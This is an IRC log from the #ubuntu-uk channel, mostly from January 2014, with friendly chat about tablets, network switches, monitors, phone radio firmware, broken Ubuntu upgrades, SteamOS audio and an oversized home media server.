<jussi> so... looks like the samsung tab pro 8.4 will be somewhere around the 400â¬ mark. (wifi). what do we all think about that price?
<diddledan> so, Â£400
<diddledan> it's about average for a tab
<diddledan> the iPad, e.g., is about Â£650
<diddledan> or was
<diddledan> looks like they seriously reduced prices with the ipad air
<diddledan> starts at Â£399 and goes to Â£739
<diddledan> Â£499 for base model with 4g
<davmor2> diddledan: depends on the size of the tab
<daftykins> https://www.dropbox.com/s/ohoiv50n2bn8p9w/webcam.jpg
<daftykins> i've got an assistant today
<Oli> "Shut up dad and go away, I want to go on catroulette"
<daftykins> 8D
<MartijnVdS> Oli: http://www.youtube.com/watch?v=qcwJL_RS818
<Myrtti> I yielded and joined a Facebook group for Britains Finns
<Myrtti> feels filthy
<daftykins> being near facebook? yeah :(
<Myrtti> I do use Facebook and see the utility of it for some things, but this would be better served with a discussion forum, which they've abandoned
<mapps> well that was a ong film
<mapps> *long
<mapps> 2hr29 mins for lone ranger
<DJones> mapps: Wait till any of the hobbit series, they're long
<DJones> daftykins is oli's dad? ... Somebody has been lying about their age!
<daftykins> also how is he typing as a cat from my laptop O_O
<ali1234> also how did you father a cat?
<Myrtti> wait, what
<Myrtti> oh. ok.
 * daftykins shakes his head at the silly in this channel
<foobarry> did i hear correctly that free spotify is ditching the ads?
<MartijnVdS> foobarry: I don't think so.. just the listen limit
<foobarry> ah
<foobarry> haven't usedthe spotifus in a couple of years
<foobarry> adverts got  too much , every other song it seemed
<MartijnVdS> well they need to get money somehow
<MartijnVdS> labels don't provide their music for free streaming
<foobarry> of course
<shauno> I gave up using it because it keeps getting stuck on tracks that won't play
<foobarry> but i remember in the beginning it was better
<foobarry> !info arcem
<lubotu3> Package arcem does not exist in saucy
<foobarry> :S
<foobarry> surprised how little riscos emulation there is for linux
<foobarry> i always felt linux to be a natural successor for risc os
<MartijnVdS> well there's qemu.. won't it run in that :)
<MartijnVdS> http://arstechnica.com/information-technology/2014/01/7-classic-versions-of-windows-and-mac-os-you-can-run-in-a-browser/
<foobarry> "movie star entrance for ed miliband" thats cos of the wallace and gromit films that made him famous
 * DJones wonders what whacky baccy foobarry is smoking?
<foobarry> ed miliband is spitting image of wallace
<foobarry> i was quoting news24
<DJones> ah, context helps
<foobarry> wonder what else is on
<foobarry> whil e i compile rpcemu
<foobarry> http://i.imgur.com/TH7LxmL.png
<foobarry> terramex
<diddledan> foobarry: need a bigger screen
<foobarry> its an old game
<diddledan> age isn't an excuse for poor graphics :-p
<diddledan> they need to reskin it
<foobarry> gonna try a different game
<diddledan> maybe make it 3d?
<diddledan> everything needs to be 3d these days, right?!
<diddledan> or maybe even _4_D?!!
<diddledan> do I recall someone actually promoting a 4D device (I believe it was consumer) that wasn't actually using time as the fourth dimension
<diddledan> I think it was a TV
<diddledan> if memory serves they were using the shutter-based 3d tech to allow two people to watch independant 3d imagery
<diddledan> so instead of being 200Hz running a single 3d stream they ran 400Hz with 2x3D streams
<diddledan> maybe I've got my refresh rates muddled but you get the idea
<daftykins> diddledan: yep, so couples could watch different things at once, or co-op gameplay could have a full screen each from the same device
<diddledan> daftykins: the multiplayer gaming is probably the best use for ti
<diddledan> it
<daftykins> yep
<daftykins> i hate losing my screen when playing split-screen :(
<diddledan> as for watching tv/movies with a partner watching something else. I'm not sure I'd like that
<daftykins> you might were you subjected to a partner that watches the kind of music/dance tripe that a lot in here seem to suffer :D
<diddledan> yeah, I suppose there's always the option of "oh this is crud, I'm watching something else" without having to get up and move to a different, less comfortable, room
<diddledan> sweet, the exclusiveviagra shop has an "Only 24 hours insane discount!"
<diddledan> yey for spamz
<diddledan> although I'm not sure I'd find a use for viagra before it went out of date
<diddledan> it's not like I'm the most sociable person in the world
<daftykins> d'aww
<daftykins> you have no intent to find anyone?
<diddledan> I have intent, just not the ability :-p
<Myrtti> couples watching different things? that's what tablets are for
<diddledan> Myrtti: yeah, tablets rock!
<diddledan> Myrtti: plus: no glasses
<Myrtti> I need glasses all the time or headache
<diddledan> well yeah, I meant the bulky and uncool 3d thingies
<diddledan> I need prescription glasses 24/7, too
<diddledan> or rather 24/7 - sleep
<directhex> you sleep in them?
<directhex> aha, damn
<diddledan> :-p
<Myrtti> I tried to sleep with my glasses on this week
<diddledan> oh dear
<Myrtti> they had magically transported on a cushion serving as a bedend
<Myrtti> and I do mean magic, as I'm alone in Finland
<daftykins> i fear them snapping were i to roll over
<daftykins> plus i like giving my poor nose a break from the stress
<daftykins> i can feel how wearing specs all my life has worn two really deep gouges into the bone/cartilage
<bigcalm> Constantly running out of network ports on my wifi router. What switch should I buy to complement the set-up?
<ali1234> i think they are all pretty much the same
<bigcalm> Any brands to avoid?
<diddledan> bigcalm: I've had good results with netgear's prosafe switches
<bigcalm> An alternative question - what wifi/ethernet router should I get with more than 4 ethernet ports and will let me run openwrt?
<diddledan> no idea on the second one
<daftykins> 5 is the max i've seen
<daftykins> just switch it up i'd say mr. bigcalm
<bigcalm> Ho hum :)
<bigcalm> Was trying to reduce the number of mains sockets in use :)
<daftykins> =[
<daftykins> i fully use an 8 port gigabit here
<shauno> curious, which one?
<bigcalm> http://www.amazon.co.uk/Netgear-Wireless-N-Port-Gigabit-Firewall/dp/B005UGRIIG ?
<bigcalm> That product might fit my needs. Shame about the price
<diddledan> I've got 3x8port switches hooked up to my router which has 5xgig-e and 5x100
<diddledan> obviously I don't use all those ports
<diddledan> but I like the options
<bigcalm> :)
<diddledan> the 3 switches are all gig-e
<bigcalm> Sleep time I think
<bigcalm> Toodles
<diddledan> nn
#ubuntu-uk 2014-01-18
<elfy> ali1234: hi :p
<ali1234> o/
<AlanBell> morning
<AlanBell> will it ever stop raining?
<MooDoo> morning AlanBell
<MooDoo> Only when it turns to snow
<AlanBell> I wonder if popey or anyone has played with http://www.ordnancesurvey.co.uk/innovate/developers/minecraft-map-britain.html
<shauno> I'm not complaining.  the same low-pressure system that's holding it there is holding it away from us :)  I've actually seen 3 dry days in a row, for the first time since november
<MooDoo> AlanBell: ye
<MooDoo> AlanBell: I think popey has done this, I'm sure I've seen a map
<bigcalm> Good morning peeps :)
<popey> AlanBell: http://popey.mooo.com/minecraft/#/8964/64/25964/-10/0/0
<popey> morning
<shauno> are those roads diamond or emerald?
<popey> both
<popey> mortorways are blue, a roads green
<popey> i joined the map and wandered around to find where my house is â»
<brobostigon> good morning everyone.
<popey> http://www.ebuyer.com/544464-asus-pq321qe-31-5-led-igzo-4k-uhd-monitor-pq321qe
<popey> golly
<bigcalm> I'll take 3!
<aquarius> Dell have released a 4k monitor at CES, due to hit the market in about a week, for around Â£500. Sadly it only does 30fps at 4k resolution, though; you have to step down to normal HD to get 60fps.
<popey> good enough for coding i imaine
<popey> *imagine
<popey> http://tiamat.tsotech.com/4k-is-for-programmers
<aquarius> yeah, but it's hard to test smooth 60fps websites if your monitor won't render that fast :)
<MartijnVdS> it's a TN panel. Those can hurt peoples' eyes.
<aquarius> that 4k is for programmers thing is all "hey just buy a TV", which is correct (the distinction between a monitor and a TV is, these days, entirely spurious) but recommends a 39" TV, which is fine in the living room but won't fit on my desk ;)
<popey> "Hey just buy a bigger desk"
<MartijnVdS> aquarius: I'm sticking with my U2913WM ;)
<aquarius> also sitting two feet from a 39" screen means that my head will swivel back and forth like an owl :)
<aquarius> ya, I liked the look of the Ultrasharp 29" 2560x1080, although 2560x1440 would be better
<MartijnVdS> aquarius: the extra wideness of the screen is *really* useful for running 2 browsers next to each other :)
<aquarius> and the fixes for Ubuntu working at high DPI have apparently not hit trusty yet, although they're being worked on
<MartijnVdS> are they the result of the phone work?
<MartijnVdS> High DPI was tried before, with X DPI being set "properly". It broke everything except GTK apps
<MartijnVdS> https://bugs.launchpad.net/ubuntu/+source/libgnome/+bug/118745
<lubotu3> Ubuntu bug 118745 in xorg-server (Ubuntu) "Font sizes in Gutsy are affected by bad X.org DPI detection" [Medium,Fix released]
<popey> no
<popey> the high dpi stuff will be in unity7
<MartijnVdS> popey: .. which is part of the phone work, right?
<aquarius> there isn't really "phone work"; it's all just work, apart from the little team actually making things like the dialer function properly. :)
<MartijnVdS> aquarius: well, the phone is also an ARM device with a physically smaller screen (with the same res, so higher DPI)
<MartijnVdS> aquarius: (not necessarily ARM.. that's not relevant.. why did I add that)
<popey> MartijnVdS: no
<popey> phone is unity8
<popey> desktop up to and including 14.04 is unity7
<popey> http://www.the-ear.net/review-hardware/audioquest-pearl-and-cinnamon-ethernet-cables-digital-interconnect
<popey> oh dear
<bigcalm> Oh dear no
<MartijnVdS> I wonder why my Chrome "just breaks" sometimes
<shauno> you gotta admit it though.  those connectors are purdy.  they should sell them on etsy or something
<MartijnVdS> every time I start it, it claims it can't open my profile
<MartijnVdS> then I killall chrome, and it works again.. except when I click a link in another program, that tries to start another copy of chrome, which can't open the (locked) profile
<popey> i had that on osx a while back
<popey> ended up deleting the profile (was wifeys)
<popey> right, off to toy shop and maplins i think
<popey> sam is bored
<bigcalm> Build with LEGO!
<brobostigon> build with maccano, :)
<foobarry> gonna make a castle with linka this afternoon
<foobarry> with the boy
<foobarry> bigcalm: we did lego fire resuce this morning ;) http://i.imgur.com/BhWIWJC.jpg
<Myrtti> I wish Google stuff would work with Firefox properly
<Myrtti> it's sooper annoying it doesn't
<foobarry> mmm home made popcorn dipped in honey
<iainkay_> hey, does anybody know if i can compile the compiz extra plugins on ubuntu 13.10?
<foobarry> nope sorry, still on 12.04 here. they not in the repos iainkay_ ?
<iainkay_> no
<iainkay_> removed
<iainkay_> its a dummy package now
<iainkay_> i miss burn :(
<iainkay_> i love the rest of ubuntu 13.10 but really really really want to get that effect back up and running
<iainkay_> if i can then ill blog about it
<popey> pip pip
<MartijnVdS> popey: CP/Ming again :)
<popey> hah
<popey> waiting for xbox to update â¹
 * popey makes a cup of tea
<ali1234> iainkay_: which plugin packages do you have installed?
<ali1234> "compiz-plugins" should have all the none default plugins
<iainkay_> i have installed:
<iainkay_> compiz, compiz-core, compiz-gnome, compiz-plugins, compiz-plugins-default, compiz-plugins-extra, compizconfig-settings-manager, libcompizconfig0, python-compizconfig
<ali1234> seems like the current maintainers decided to rip out a bunch of plugins that the don't use
<Myrtti> does anyone here use Tripit a lot?
<popey> a bit
 * popey goes to get sophie from a sleepover, bet she's tired and moody 
<SuperEngineer> wee hee - got a weekend off [at long last]. Hi y'all
<SuperEngineer> "Celebrating" by defrosting fridge, shopping, doing the washing, taking full backup, being normal
<SuperEngineer> .s. - "normal" in my case might be different to your usual understanding of the word ;)
<foobarry> my ubuntu one seems broken today
<foobarry> State: AUTH_FAILED
<foobarry> just me?
<bigcalm> Broken Age was fun :)
<bigcalm> Poop jokes are the best!
<DJones> Watching Despicable Me for the first time, why does the baddie Vector remind me so much of Mark Zucherburg
<bigcalm> My name wasn't in the backers list in the credit
<bigcalm> Guess slacker backers don't get a look in
<Myrtti> I've never played such games so it's a bit difficult
<penguin42> had someone at our LUG with a Lenovo E145 laptop - wouldn't take 13.10; blackscreened - with nomodeset we got it going textmode; probably would have taken fglrx from that point maybe
<penguin42> was a new Radeon I think
<bigcalm> So I finished chapter 1 of Broken Age. Now what do I do with my life?
 * penguin42 hands bigcalm Wolfron's New Science - now read that, and tell me whether I should bother
<bigcalm> Humf
 * bigcalm stares at his DQL for a bit
<penguin42> dql?
<bigcalm> Doctrine Query Language (I think)
<bigcalm> It's a form of SQL specific to Doctrine
<bigcalm> A PHP thing
<penguin42> ah
<zleap> hi tombrough
<foobarry> what does the "radio" or baseband version on a phone actually do?
<MartijnVdS> foobarry: the radio traffic (GSM, LTE, UMTS, etc.) is handled by a separate chip because of its timing sensitivity
<MartijnVdS> foobarry: that chip runs closed firmware, which is the "baseband" ROM
<MartijnVdS> it could of course be "open" but it's not (and from the reverse-engineering I've seen it's bad code too)
<MartijnVdS> http://www.slideshare.net/slides_luis/baseband-playground-10652487
<foobarry> my wife's phone behaves itself normally except for in calls lately has been dropping or going "on hold"
<MartijnVdS> http://events.ccc.de/congress/2011/Fahrplan/attachments/2022_11-ccc-qcombbdbg.pdf
<foobarry> could it be realted to radio firmware>
<MartijnVdS> foobarry: dropping "on hold" calls could be radio firmware, or the network being bad
<penguin42> foobarry: There's so much firmware who the hell knows?
<MartijnVdS> foobarry: http://www.youtube.com/watch?v=e1lYU0VMCoY http://www.youtube.com/watch?v=lCcKk8R0LFI
<foobarry> I've updated her to the same version as me
<foobarry> soo many linksss
<MartijnVdS> foobarry: lots of background infoz
<foobarry> will take a look
<foobarry> i can't replicate the problem
<foobarry> probably hold off on re-installing CM7 on the phone for the mo
<MartijnVdS> foobarry: try with stock :)
<foobarry> i have the identical phone to her
<foobarry> except she has superlcd screen and i have oled
<foobarry> woops, i was on the same radio firmware as her, now i'm not
<MartijnVdS> foobarry: you want to watch those videos -- they're about vulnerabilities in those firmwares :)
<MartijnVdS> foobarry: and you seem like a Chaos Computer Club kind of guy ;)
<foobarry> but....but...it was a link on xda developers...it must be OK!
<foobarry> :P
<MartijnVdS> à² _à² 
<foobarry> has anyone experienced noticably better reception and less dropped calls etc from updating radio firmware>
<MartijnVdS> foobarry: not myself, but I've seen lots of reports.
<dogmatic69> I ran update and disk ran out of space, now mysql is half updated / half broken with my server down :(
<MartijnVdS> foobarry: it can also be an interaction between the network('s devices) and the radio in the phone
<ali1234> lol, the same thing just happened to me
<foobarry> adblock on chrome has stopped working completely :S
<ali1234> luckily only on a scratch vm
<foobarry> gonna let the wife use this for a week and report back.
<MartijnVdS> foobarry: so if one network uses Huawei base stations, they might have slightly different quirks than, say Ericsson
<foobarry> i don't wanna have to buy her a new phone
<foobarry> true. we're both on same network, but she might be in the same cell each time when it happens
<dogmatic69> any ideas on how to fix this? http://bin.cakephp.org/view/338868815
<foobarry> etc
<dogmatic69> ali1234: damn... :/
<MartijnVdS> foobarry: I live on the 7th floor, and I can "see" a wide range of towers.
<ali1234> dogmatic69: i made some space then ran apt-get -f install && apt-get dist-upgrade
<MartijnVdS> foobarry: On my old phone, calls dropped when I walked from one side of my house to the other (handover across $long_distance, I always suspected my network didn't support that)
<MartijnVdS> foobarry: but with my new phone it's fine
<dogmatic69> ali1234: -f install fails
<foobarry> so a new radio fw might have fixef that?
<dogmatic69> see paste :/
<ali1234> then your system is broken
<MartijnVdS> foobarry: it might
<dogmatic69> ali1234: ;(
<foobarry> hard to find the commonly acecpted "good" version for the htc desire
<foobarry> since most commenters are noobs , and forums suck
<directhex> need to restore a huawei android phone to stock
 * foobarry also phone noob
<directhex> urgh
<dogmatic69> ali1234: think I fixed it apt-get remove mysql, then reinstalled
<dogmatic69> ITS ALIVE !!!!
<foobarry> edmund eating all that turkish delight on LW and the wardrobe makes me feel a bit sick
 * dogmatic69 mops brow... that was close
<foobarry> page 1 of 231 for the htc desire radio thread..have i mentioned how i hate fora?
<MartijnVdS> HTC Desire is also 500 years old
<foobarry> yes, but should still work like when it was new
<MartijnVdS> it's HTC, not Nokia 8-)
<foobarry> but 231*10 posts per page is a lot
<directhex> android, like win9x, slows down & gets horrible after a while. reformatting fixes it
<ali1234> why limit that to win9x? it applies to all versions up to vista at least
<foobarry> my issue is not slowness but phone calls
<foobarry> but i had horrific slowness recently on my own phone
<foobarry> flashed to a nightly and it was buggy
<foobarry> restored a nandroid backup
<foobarry> resolved the issue somehow, may have been removing swifkey
<foobarry> there is quite a similarity between windows and android in other areas too though
<Myrtti> does tax year always start on 6th of April?
<Myrtti> it does
<Myrtti> ta
<penguin42> Myrtti: I'd blame the romans but apparently it wasn't their fault
<MartijnVdS> whose fault is it then?
<moreati> MartijnVdS: it's based on April Fool's day, inflation adjusted
<MartijnVdS> moreati: sounds reasonable enough 8-)
<MartijnVdS> moreati: tbh, it's probably related to the fact that the new year used to start on March 25
<MartijnVdS> moreati: so March 24 year X -> March 25 year Y
<penguin42> MartijnVdS: Yeh or at least 'Quarter days' of which the 1st was 25 March, then you add the Julian/Gregorian offset
<moreati> March 25th, plus 11 days for switch to Gregorian calendar http://www.theguardian.com/notesandqueries/query/0,5753,-2738,00.html
<MartijnVdS> http://www.adsb.co.uk/date_and_time/calendar_reform_1752/
<MartijnVdS> penguin42: ^
<penguin42> nod
<penguin42> see, not the Romans
<MartijnVdS> so.. it's because you've been a country for too long without interruption ;)
 * penguin42 doesn't like the idea of the interruption bit
<MartijnVdS> penguin42: well we tried to fix that
<MartijnVdS> (with William III)
<Myrtti> I've sunk to that level off hell where I'm trying to calculate how many days each year I've spent in UK. this process has so far involved fiddling with my datadump from the ashes of Dopplr, importing it to Google Calendar, filling in some dates that were missing based on Ryanair emails, then exporting that to .ics file, doing some creative grep and sed work to get it into CSV and importing it into Google Docs.
<Myrtti> also http://www.youtube.com/watch?v=-5wpm-gesOY
<MartijnVdS> Myrtti: YES!
<Myrtti> thanks whoever pasted that here earlier this week
<MartijnVdS> Myrtti: he makes great videos on his own as well (not part of computerphile :)
<MartijnVdS> http://www.youtube.com/channel/UCBa659QWEk1AI4Tg--mrJ2A
<Myrtti> if I had known I'd stumble on this stuff so soon, I wouldn't have watched that video with such relish few days ago.
<Myrtti> because I haven't got enough expletetives for this
<MartijnVdS> Myrtti: don't you have Finnish expletives?
<MartijnVdS> I've heard those can be quite strong
<penguin42> reading the tzdata source is pretty good
<Myrtti> I've been pondering this for a few days, they get inflated too if they're used more than twice in an hour
<MartijnVdS> penguin42: it's a bit like that video, but in code
<MartijnVdS> Myrtti: "Perkele-hyperinflation"?
<Myrtti> well, I have to rate limit myself. If I use them too often and too much, I'll burst a vein in my head
<MartijnVdS> ah yes, that would be counter-productive
<penguin42> MartijnVdS: Yeh I'd bet that's what he based most of it on - it's got lost of curly bits of weird history
<dogmatic69> done some clearing out, now only using 5.4GB, was using 75GB
<dogmatic69> all log files :/
<MartijnVdS> nice
<daftykins> wowzer! :)
<Myrtti> I wish I had a stiff drink
<Myrtti> I might just try out the organic cranberry lager the company christmas parcel had
<daftykins> that sounds very novel
<Myrtti> it is
<daftykins> is it from a local brewery?
<mapps> lager ? most fancie drinks seem to be ales i thought
<mapps> dont like ale myself:)
<Myrtti> daftykins: yeah, Mikkeli
<daftykins> mapps: :O ales are great :(
<MartijnVdS> all hail ale!
<mapps> hang on is ale the same as bitter?
<Myrtti> I'd link you to their website but it's all flash and doesn't seem to have English content
<MartijnVdS> google translate!
<Myrtti> yeah, won't make you suffer that
<daftykins> Myrtti: ty ^_^
<daftykins> mapps: nah
<mapps> oh
#ubuntu-uk 2014-01-19
<ali1234> hmm
<ali1234> cgroups allows you to limit the physical memory used by a process or group of processes, after it's exceeded they swap
<ali1234> that is AMAZING
<ali1234> i have wanted that feature for YEARS
<ali1234> no gnome-thumbnailer, you do not need 100GB of memory
<ali1234> and they said cgroups is only useful for servers?
<mapps> cgroups>
<mapps> ?
<ali1234> http://en.gravatar.com/alistairbuxton HAHAHAHA
<ali1234> i figured out how to delete gravatar profiles
<ali1234> and they told me it was impossible...
<ali1234> lol, github has this fun feature
<ali1234> you can put in any email you want as your gravatar
<foobarry> ugh bad night
<foobarry> i'm so tired i actually put the spoonful of baby food in my mouth instead
<MartijnVdS> morning foobarry
<MartijnVdS> foobarry: that doesn't sound too horrible.. I mean, it's food, right?
<foobarry> morning.
<foobarry> its the only palatable baby food - banana "porridge"
<foobarry> hmm adblock plus refusing to work in chrome Version 29.0.1547.76
<MartijnVdS> foobarry: I use "normal" adblock, not ABP
<MartijnVdS> works fine in 32.0.1700.77
<MartijnVdS> why are you running such and old version?
<foobarry> hmm it should update itsekf right?
<foobarry> normal adblock works, i'll stick with that
 * foobarry dist-upgrades
<MartijnVdS> foobarry: Chrome adds a file in /etc/apt/sources.list.d to upgrade itself when you apt-get upgrade, yes
<foobarry> those versino numbers creep up
<foobarry> haven't updated for a few weeks
<MartijnVdS> foobarry: 29 is from august last year
<foobarry> weird
<foobarry> argh /boot filled up
<MartijnVdS> remove ye olde kernels
<foobarry> wont let me cos its full (
<MartijnVdS> what? apt-get purge should allow that
<MartijnVdS> or dpkg --purge one kernel (to free up some space)
<foobarry> its / rather than /boot
<MartijnVdS> how.. how did you do that?
<MartijnVdS> don't you have a multi-gb disk?
<foobarry> boot is in /
<foobarry> can't purge cos apt-get didn't finish
<foobarry> and i have to go out soon :(
<foobarry> phew
<foobarry> fortunately ubuntu is more resilient than centos
<foobarry> haven';t rebooted yet thoug
<shauno> my ugly method for that, is to rm anoldkernel && touch anoldkernel.  that way it still exists when apt wants to remove it, but it's not eating disk
<directhex> ali1234, AGI ALtix had it in hardware - "cpusets"
<popey> ming
<nigelb> hello popey
<brobostigon> good morning everyone,
<bigcalm> Good morning peeps :)
<brobostigon> morning bigcalm
<nigelb> Morning brobostigon, bigcalm
<nigelb> Nice sunny day today
<brobostigon> morning nigelb
<brobostigon> yes, very sunny.
<nigelb> I'm feeling lazy though. I'd rather sit in my room all day than go out and explore London.
<brobostigon> might have a strol into town this afternoon, sit in a beer garden for a few hours.
<jussi> Myrtti: ping
<jussi> popey: who are you calling a ming? :p
<jussi> Myrtti: came across this: http://www.mobilefun.co.uk/aluminium-bluetooth-keyboard-cover-for-google-nexus-7-2013-p40583.htm -might be interesting for you?
<Myrtti> jussi: I've got 2012 because I don't drive a car of which glove compartment door I can use as an implement to break the screen into halves And justify buying a New one
<jussi> Myrtti: no doubt a story there... anyways guess that rules it out for you.
<Myrtti> true story... can you guess why fir the first time in three years d And I don't have matching mobile kit
<jussi> Myrtti: that said,  http://www.mobilefun.co.uk/bluetooth-keyboard-and-case-for-google-nexus-7-asus-p37024.htm
<Myrtti> But yeah, I'm picky about the layout. thanks anyway, I'll have a look When I'm back home from meeting Ronja for the first time
<jussi> fair enough.  saw it and thought you might be interested.
<Myrtti> yeah definitely
<Myrtti> nexus 5 screen is big enough to have a quick look But mittens are a hindrance
<foobarry> watching toy story 3 with the yongling
<nigelb> aww
 * popey is playing MGS with the kids watching me
<bigcalm> directhex: my SteamOS always starts muted already. How do I fix this?
<directhex> bigcalm, did you install from Ye Olde SteamOSe?
<bigcalm> directhex: yes
<bigcalm> 2nd release I think
<directhex> 2nd release has a major regression in audio
<bigcalm> Your 2nd release that is
<directhex> yeah
<directhex> you can un-mute?
<bigcalm> By going to the desktop to do so, yes
<directhex> using the gnome volume widget?
<bigcalm> Yes
<directhex> use pavucontrol instead
<directhex> if your system.pa is good, that should fix it not restoring properly on boot
<bigcalm> Okay. I'll boot up and have a look
<bigcalm> It worked, yay :)
<directhex> i don't know why pavucontrol & gnome-volume-badger behave differently
<bigcalm> directhex: any thoughts on why my xbox controller constantly flashes?
<bigcalm> It didn't do so in Ubuntu
<bigcalm> Still works, just irritating as flip
<directhex> bigcalm, the xbox pad driver is heavily patched in steamos
<bigcalm> It might improve with time then
<directhex> bigcalm, you can review the changes using dget, debdiff, http://repo.steampowered.com/steamos/pool/main/l/linux/linux_3.10.11-1+steamos8.dsc and http://snapshot.debian.org/archive/debian/20130911T094539Z/pool/main/l/linux/linux_3.10.11-1.dsc
<directhex> anyone with an interest in steamos should do so, there are interesting details in the changelog
<directhex>  patches/defer-input-nodes-and-led-support                               |  493 +
<directhex> that's the xbox pad driver rewrite
<daftykins> why would it need any work? is it having that steam controller's support added to it?
<directhex> dunno. ask volvo
<daftykins> the car manufacturer? :P
<jussi> Myrtti: let me know what you think when you have had a look.  I want to hear about possible good points and bad points from other perspectives also :)
<Myrtti> I can't live with that 2012 keyboard
<Myrtti> too stuck on touch typing on finnish layout
<Myrtti> I'll ask Dunc what he thinks of the newer  one
<jussi> Myrtti: imagining it had the correct layout,  anything else that bothers you about it?
<Myrtti> ideally I'd like a universal bluetooth keyboard that isn't semidefunct when the device it's designed for dies
<Myrtti> I've got one I really like apart from the fact it's got the wrong layout
<jussi> ahh. so you don't really need it to be a cover?
<Myrtti> http://www.amazon.com/Stowaway-Ultra-Slim-Bluetooth-Keyboard-Handhelds/dp/B0002OKCXE
<Myrtti> that's the one I've got somewhere
<Myrtti> no. I've got a case for it already
<jussi> ahh. have you looked at the universal one from Samsung?
<jussi> Myrtti: http://www.verkkokauppa.com/fi/product/35977/dnddb/Samsung-Universal-Bluetooth-Keyboard-White-valkoinen-Bluetoo
<Myrtti> two keys between L and Enter, won't do
<Myrtti> yes, I really am picky
<jussi> no problems :)
<Myrtti> Microsoft Wedge looks promising
<MartijnVdS> Cooking bacon using hair curlers: http://www.youtube.com/watch?v=uJ105LKFCVU
<jussi> ahh. btw did you look at the ones from logitech?
<Myrtti> a lot of Nexus users seem to have bought the Wedge
<Myrtti> (reading the reviews)
<Myrtti> (from vk.fi)
<jussi> wedge looks nice.  However I want the stand/cover aspect also.
<daftykins> wow, if you ever want to see how NOT to do storage...
<daftykins> http://forum.xbmc.org/showthread.php?tid=183747
<MartijnVdS> daftykins: http://static2.wikia.nocookie.net/__cb20130802014808/rwby/images/6/68/6a4d386f_I_Have_No_Idea_What_I_m_Doing.jpeg
<daftykins> :D
<daftykins> very apt
<shauno> all those in one outlet, and no fire extinguisher
<Myrtti> ooh ooh http://www.kickstarter.com/projects/252587878/stress-free-great-tool-for-breadboard-wire-strippi
<MartijnVdS> shauno: power bill is higher than the netflix bill would have been :)
<ali1234> all i see in that thread is a gy asking a perfectly reasonable question and a bunch of neckbeards piling on telling him why his question is wrong
<ali1234> this is why people don't volunteer more information than they have to when asking questions
<daftykins> the XBMC forum one?
<daftykins> so you see zero problem with having 64 x 4TB disks each partitioned into 4 volumes, in no kind of RAID?
<daftykins> if not then you sir are trolling
<foobarry> where does he say its not raided?>
<foobarry> BTW, RAID or any similar solution has been obsolete for several years now...so until I could find something better I chose not to implement anything...
<foobarry> lol
<foobarry> followed by
<foobarry> I have always partitioned my HDDs. It's a force of habit and I have not found any reason not to...
<foobarry> thats a lot of movies on 512tb
<daftykins> yep he has every disk partitioned into 4 x 1TB volumes
<daftykins> honestly it reads like a blatant troll :)
<directhex> because Â¯\(Â°_o)/Â¯
<foobarry> ok, so not striped at all though
<foobarry> he's just got individual disks, and when the disk dies, he just replaces it, because he doesn't understand parity disk, or doesn't like to "waste disks"
<directhex> i mean, he's talking about using an ORM, but... doesn't even seem to understand why
<foobarry> maybe he has excellent backups
<directhex> he backs it all up onto a stack of floppy disks
<directhex> each partitioned into 2
<foobarry> maybe he has the original dvds, but 512TB sounds like a lot of material sourced from elsewhere
<foobarry> the mind boggles
<directhex> but every parallel file system i've used has written data more than once because disk failure is to be expected in any kind of multi-disk arrangement
<directhex> like, with 128 disks, i'd expect to be swapping out one a month
<foobarry> i have a 120 disk SAN thats seen > 15 drive failures since april
<foobarry> and a dell one of only around 20 disks that haven't had any failed in 4 years
<penguin42> foobarry: the 120 disk san - were those vendors drives or your own?
<foobarry> oracle, SATA disks interestingly
<foobarry> v expensive sun disks
<foobarry> but there's other factors - humidity, dust, vibrations.
<foobarry> vibrations have killed more disk than anything i know
<foobarry> unsure if radioacitvity plays a part
<penguin42> is your server room likely to have a problem with radioactivity?
<foobarry> the oracle one..maybe
<diddledan> 0.5PB array? that's nucking futs for a home user
<foobarry> does anyone ask him what's on it?
<diddledan> on the first page he alludes to "50,000+ titles (Music, Music Videos, Movies, etc)"
<foobarry> "Seriously, one would have to be crazy to implement this in a real world setup with real data!!!
<foobarry> "
<foobarry> i think he's bactracking now
<foobarry> Fools find no pleasure in understanding but delight in airing their own opinions.
<diddledan> where does he get the idea that raid is obsolete?
<daftykins> his flawed brain
<directhex> penguin42, it's an issue for RAM, it's why ECC exists
<directhex> cosmic rays
<penguin42> directhex: Well yes, but I've never had to think about radiation generally
<penguin42> diddledan: There is an argument that on large arrays normal RAID can never resyncing without another failure, hence the snazzier raid-z and the like
<penguin42> or distributed object stores
<foobarry> at least its not raid0
<ali1234> daftykins: i don't see what it has to do with the guy's question at all
<ali1234> redundancy is pointless on a media server, if you lose something you just download it again
<daftykins> well you can be an idealist and just see what he wanted to ask
<daftykins> but i prefer to insult the individual for how he's setting himself for a failure so big it doesn't matter what he's asking :D
<daftykins> but i don't actually use forums anyway, that thread was linked in another channel
<daftykins> also, that's a daft view, people collecting that much may not be able to *get* something again
<ali1234> the sad thing is that if he hadn't posted specs of his crazy system his thread would have just been ignored
<daftykins> well it does seem to be quite crazy
<ali1234> it's probably all pr0n anyway
<daftykins> do you not find it shocking the guy has to configure 2,048 shares?
<ali1234> yes his setup is pretty stupid
<ali1234> i don't disagree with that
<daftykins> ^_^
<ali1234> all he needs to do is expose the object store in some format that xbmc understands
<ali1234> that doesn't necessarily mean a filesystem
<ali1234> it could be done with upnp
<ali1234> i'm sure xbmc supports other types of media servers too
<ali1234> "My question is: Are there any plans for XBMC to support distributed,  cloud storage mechanism that do not rely on the traditional  File(s)/Directory(ies) mechanism of FTP, Samba, and the rest?"
<ali1234> the answer: "XBMC already supports upnp, thanks you and goodnight"
<daftykins> i don't know why anyone wants to run those nasty protocols
<daftykins> that is, when they have sane storage
<ali1234> files and folders has never been a good way to store media files
<daftykins> things like UPnP/DLNA trash gapless playback for audio though
<ali1234> false
<daftykins> in implementations i've tried
<daftykins> i suppose the client could request the next ahead of finishing the first
<ali1234> that's down to the player, not the server
<ali1234> yes, exactly
<ali1234> upnp just hands you a URI to where the file is
<ali1234> you can even mount a upnp server as a filesystem (software is called djmount i believe)
<daftykins> i think XBMC might do that
<shauno> I think the first answer he was given is perfectly valid; that's the OS' job.  after that is just rubbernecking
#ubuntu-uk 2015-01-12
<MooDoo> morning all
<zmoylan-pi> monday has been cancelled due to popular vote, return to bed
<MooDoo> well that sounds good
<zmoylan-pi> monday if i become leader will be set up and test gaming emulators from your childhood day \o/
<brobostigon> morning boys and girls.
<MooDoo> morning brobostigon
<brobostigon> morning MooDoo
<MooDoo> good weekend brobostigon ?
<brobostigon> quiet, trying to get my eczema better.
<MooDoo> working?
<brobostigon> no, at home,
